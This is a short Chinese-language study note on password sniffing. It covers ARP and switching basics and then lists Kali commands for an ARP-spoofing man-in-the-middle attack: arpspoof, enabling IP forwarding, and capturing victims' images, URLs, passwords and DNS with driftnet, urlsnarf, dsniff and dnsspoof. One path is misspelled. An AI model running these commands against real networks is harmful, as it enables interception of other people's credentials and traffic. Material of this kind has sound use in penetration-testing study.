密码嗅探/

基础网络知识

• 二、三层地址

• IP网络到网络

• MAC主机到主机

• 交换机与HUB

• HUB全端口转发

• 交换机根据学习地址转发

• 混杂模式抓包

• ARP协议

• 免费ARP

• 基于广播学习

• 以太网头、ARP头

• 请求、响应相对独立

• 基于传闻的协议

ARP欺骗

arpspoof

arpspoof -t 1.1.1.1 -r 2.2.2.2

• 被arp欺骗的PC是不能够上网的，如果想让受害者能够上网，需要开启转发功能。此时就是一个中间人的角色

echo 1 > /proc/sys/net/ipv4/ip_forwaed  ##开启IP转发

ARP欺骗成功之后，就可以进行网络嗅探；

网络嗅探

• 接下来就可以通过抓包软件去抓包了，或者kali也有一些其他的抓包命令

driftnet -i eth0 -a -d tempdir -s ##将受害者看到的图片和声音文件保存到tmpdir目录下

webspy -i eth0 1.1.1.10

urlsnarf -i eth0  #记录详细请求过程dsniff -i eth0 -m ##这是一个专门记录密码的抓包工具dnsspoof -i eth0 -f /usr/share/dnsiff/dnsspoof.hosts  ##DNS欺骗
```